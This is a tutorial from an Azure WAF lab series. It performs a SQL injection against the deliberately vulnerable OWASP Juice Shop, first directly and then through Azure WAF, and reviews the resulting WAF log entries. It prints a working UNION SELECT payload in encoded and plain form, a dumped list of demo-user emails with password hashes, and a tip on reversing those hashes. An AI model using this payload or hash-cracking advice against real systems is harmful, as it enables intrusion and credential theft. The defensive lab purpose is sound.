Part 4 - Data Disclosure and Exfiltration Playbook: Azure WAF Security Protection and Detection Lab

[Mohit_Kumar]

 

Tutorial: Data Disclosure and Exfiltration Playbook

The last tutorial in this four-part series for Azure WAF protection is the data exfiltration playbook.  The purpose of the Azure WAF security protection lab is to demonstrate Azure WAF's capabilities in identifying and protecting against suspicious activities and potential attacks against your web applications.  This playbook explains how to test Azure WAF's protections against a SQL Injection (SQLi) attack with emphasis on Azure WAF protection ruleset and logging capabilities.  The lab does not include advanced application security concepts and is not intended to be a reference for application security testing as these areas are broader than the use cases demonstrated herein.

This playbook demonstrates the protection capabilities of Azure WAF against a simulated SQL Injection attack from common, real-world, publicly available hacking and attack tools.

In this tutorial you will:

1. Simulate SQL Injection (SQLi) attack against the target OWASP Juice Shop application directly and then attack the same instance of the web application published through Azure WAF
2. Observe the difference in the web application behavior in the two scenarios
3. Review the summarized logs in the WAF Workbook (Azure Monitor Workbook for WAF)

Prerequisites

1. A completed Azure WAF security lab setup
   
   • We recommend following the lab setup instructions as closely as possible. The closer your lab is to the suggested lab setup, the easier it will be to follow the Azure ATP testing procedures.
2. Completion of the reconnaissance playbook tutorial
3. Completion of the vulnerability exploitation playbook tutorial

Configuring Burp Suite and Firefox

Before you being, please refer to the Configuring Burp Suite and Firefox section in the previous tutorial, Vulnerability Exploitation Playbook to setup Burp Suite and the Firefox web browser on the Kali VM.

Sensitive Data Exposure and Exfiltration

In this phase, the attacker is ready to use a vulnerability they have previously discovered, tested, and developed further to achieve their objective to access and exfiltrate data.  In this playbook, we will perform a SQL Injection attack to disclose and then exfiltrate the list of all user credentials in the OWASP Juice Shop application.

Performing SQL Injection against the Target Web Application

In this tutorial, you will perform a SQL Injection (SQLi) attack against the OWASP Juice Shop application two times. 

1. Scenario 1: Performing SQL injection in the target web application directly
2. Scenario 2: Performing the same injection in the same target web application protected by Azure WAF on Application Gateway

Scenario 1:  Performing SQL Injection when going to the OWASP Juice Shop Application directly

1. Sign into the Kali VM using your lab credentials
2. Launch Burp Suite and ensure you have Burp Suite configured and running as described in the Configuring Burp Suite and Firefox section of the Vulnerability Exploitation Playbook
3. Using Firefox, browse directly to the Juice Shop site by going to http://owaspdirect-<deployment guid>.azurewebsites.net
4. In Burp Suite, check the Proxy --> HTTP history tab for the request and response data for this website
5. In the search bar on the Juice Shop website, type "apple" and examine the request and response in Burp Suite

! IMPORTANT:  For the scenarios demonstrated in this document, OWASP Juice Shop application was running on HTTP port 3000.  This is not the case when you use the Azure WAF Attack Testing Lab Deployment Template as it configures the application to run on port 80, 443 and assigns it a URL.  For the lab tutorials, you will connect to the application on HTTP port 80 only.  The URL for the application will be http://owaspdirect-<deployment guid>.azurewebsites.net.  <deployment guid> is unique to every deployment

6. We see that when searching, the client makes a connection to the /rest/products/search endpoint

7. The /rest/products/search endpoint of the OWASP Juice Shop application is vulnerable to SQL injection.  In this tutorial, we will be exploiting the SQLi vulnerability in this endpoint
8. To exploit the SQLi vulnerability in the /rest/products/search endpoint, we will use Burp Suite's Repeater functionality to inject a specifically crafted SQL query in the request to this endpoint
9. To do this, right click one of the GET requests to the /rest/products/search endpoint and then click Send to Repeater

Figure 1 - Send Request to Burp Repeater

Figure 2 - Request in Burp Repeater

10. When ready to perform the injection, we will copy/paste and append the following encoded SQL query to the Request URI /rest/products/search?q= (as value to the query parameter) in the Burp Repeater window

a. URL encoded SQL query

%71%77%65%72%74%27%29%29%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%69%64%2c%20%65%6d%61%69%6c%2c%20%70%61%73%73%77%6f%72%64%2c%20%27%34%27%2c%20%27%35%27%2c%20%27%36%27%2c%20%27%37%27%2c%20%27%38%27%2c%20%27%39%27%20%46%52%4f%4d%20%55%73%65%72%73%2d%2d 

b. Plain text SQL query (for reference)

qwert')) UNION SELECT id, email, password, '4', '5', '6', '7', '8', '9' FROM Users-- 

• Tip: You can also append the plain text SQL query to the request URI, but it may fail in certain conditions

11. After appending the encoded query to the request URI, as value to the to the query parameter, click Go (or Send button)

12. You should see a successful response from the OWASP Juice Shop application with details of all the users and their credentials disclosed by the web application.  This indicates that our SQL injection attack was successful

JSON data in the response body

{"status":"success","data":[{"id":1,"name":"admin@juice-sh.op","description":"0192023a7bbd73250516f069df18b500","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":2,"name":"jim@juice-sh.op","description":"e541ca7ecf72b8d1286474fc613e5e45","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":3,"name":"bender@juice-sh.op","description":"0c36e517e3fa95aabf1bbffc6744a4ef","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":4,"name":"bjoern.kimminich@gmail.com","description":"6edd9d726cbdc873c539e41ae8757b8c","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":5,"name":"ciso@juice-sh.op","description":"861917d5fa5f1172f931dc700d81a8fb","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":6,"name":"support@juice-sh.op","description":"d57386e76107100a7d6c2782978b2e7b","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":7,"name":"morty@juice-sh.op","description":"f2f933d0bb0ba057bc8e33b8ebd6d9e8","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":8,"name":"mc.safesearch@juice-sh.op","description":"b03f4b0ba8b458fa0acdc02cdb953bc8","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":9,"name":"J12934@juice-sh.op","description":"3c2abc04e4a6ea8f1327d0aae3714b7d","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":10,"name":"wurstbrot@juice-sh.op","description":"9ad5b0492bbe528583e128d2a8941de4","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":11,"name":"amy@juice-sh.op","description":"030f05e45e30710c3ad3c32f00de0473","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":12,"name":"bjoern@juice-sh.op","description":"7f311911af16fa8f418dd1a3051d6810","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":13,"name":"bjoern@owasp.org","description":"9283f1b2e9669749081963be0462e466","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":14,"name":"chris.pike@juice-sh.op","description":"10a783b9ed19ea1c67c3a27699f0095b","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":15,"name":"accountant@juice-sh.op","description":"963e10f92a70b4b463220cb4c5d636dc","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":16,"name":"uvogin@juice-sh.op","description":"05f92148b4b60f7dacd04cceebb8f1af","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":17,"name":"demo","description":"fe01ce2a7fbac8fafaed7c982a04e229","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":18,"name":"john@juice-sh.op","description":"00479e957b6b42c459ee5746478e4d45","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":19,"name":"emma@juice-sh.op","description":"402f1c4a75e316afec5a6ea63147f739","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"}]}

• Tip:  Data in the "Description" field in the server response is the password hash of the users which can be reversed using free tools available on the internet

Scenario 2:  Performing SQL Injection when going to the OWASP Juice Shop Application through Azure WAF

You will now attempt to perform SQL Injection with the same query when going to the OWASP Juice Shop site through Azure WAF.

1. On Kali VM, launch a new instance of Burp Suite and the Firefox browser
2. Using Firefox, browse to http://juiceshopthruazwaf.com and check the Proxy --> HTTP history tab for the request and response data for this website in Burp Suite

3. Search for "apple" in the search bar, find the request to the vulnerable /rest/products/search endpoint and send it to the Burp Repeater

Send Request to Burp Repeater

Request in Burp Repeater

4. Append the encoded SQL query (from Step 10 in Scenario 1 above) as value to the query parameter in the Burp Repeater and click Go (or Send)

5. Upon examining the response, we find that the request was blocked by Azure WAF on Application Gateway

Understanding What Happened

Upon reviewing the HTTP requests and responses for the two attempts to perform SQL Injection in the same instance of the Juice Shop application, we see the pattern as shown in the below table.  This clearly indicates that the potentially malicious payload which could otherwise be stored in the application is not allowed through by Azure WAF.

SQL Injection Route	Success
Direct	Yes
Through WAF	No

Now let us use the Azure Monitor Workbook for WAF to understand how the WAF handled traffic with the SQL Injection query.  This workbook visualizes security relevant WAF events across several filterable panels.  It works with all WAF types, including Application Gateway, Front Door, and CDN, and can be filtered based on WAF type or a specific WAF instance.

Click here to deploy Azure Monitor Workbook for WAF to your subscription in Azure.

• Tip:  To understand what is happening when traffic with SQL Injection query destined for the Juice Shop application goes through the Azure WAF, you can also examine the log entries associated with ApplicationGatewayFirewallLog in the Azure Monitor

Reviewing WAF logs in the Workbook

1. You can access the WAF workbook by going into the Workbook blade and then selecting the WAF workbook deployed for this testing.  Once in the workbook, ensure that you have selected the appropriate Time Range, WAF Type and WAF Items

2. You should also ensure that you have selected the correct Public IP address for your attacker machine (Kali VM) in the Top 10 Attacking IP Addresses, filter to single IP address pane

• Tip:  If you are using the Azure WAF Attack Testing Lab Environment Deployment Template and have followed the lab setup instructions then the client IP address will be the public IP address of the Azure Firewall in your demo environment

3. After selecting the correct client IP, we scroll back up to the top of the Workbook and review the visualizations at the top, in the WAF Workbook.  Below are the sections of the workbook we will be using as numbered in the below figure

a. WAF actions filter

b. Top 40 Blocked Request URI addresses, filter to single URI address

c. Top 50 event trigger, filter by rule name

d. Message, full details

Note:  For a detailed overview of these sections of the WAF workbook, please refer to the Overview of the Workbook Sections in the prior tutorial, Reconnaissance Playbook

4. From the sliced data in the WAF workbook, we can see that two requests to the /rest/products/search URI were blocked by WAF.  Upon reviewing the Top 50 event trigger, filter by rule name we see all the rules which evaluated the POC code in the request, the Message, full details section shows that the traffic was blocked by Mandatory rule because the Anomaly Score threshold was exceeded (Total Score: 43, SQLi=43) with SQL Injection attack being the closest match
5. The below table shows an extract of the Top 50 event trigger, filter by rule name output for scanner traffic.  This data shows that the WAF evaluated the encoded query in the HTTP request to detect that it was a SQL injection attack and therefore blocked it

Rule	count_
SQL Injection Attack Detected via libinjection	1
Detects MSSQL code execution and information gathering attempts	1
Looking for basic sql injection. Common attack string for mysql, oracle and others.	1
Detects MySQL comment-/space-obfuscated injections and backtick termination	1
Detects basic SQL authentication bypass attempts 2/3	1
Detects classic SQL injection probings 1/3	1
Detects classic SQL injection probings 2/3	1
SQL Injection Attack	1
Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)	1

Key Takeaway

SQL Injection (SQLi) is one of the most common type of application security vulnerability which allows an external adversary to exploit a vulnerable application to disclose and exfiltrate sensitive information in the application.

For web applications secured with it, Azure WAF can protect against SQL Injection (SQLi) attacks by detecting and blocking suspicious SQL queries at the network edge, with its out of the box ruleset.

Previous: Vulnerability Exploitation Playbook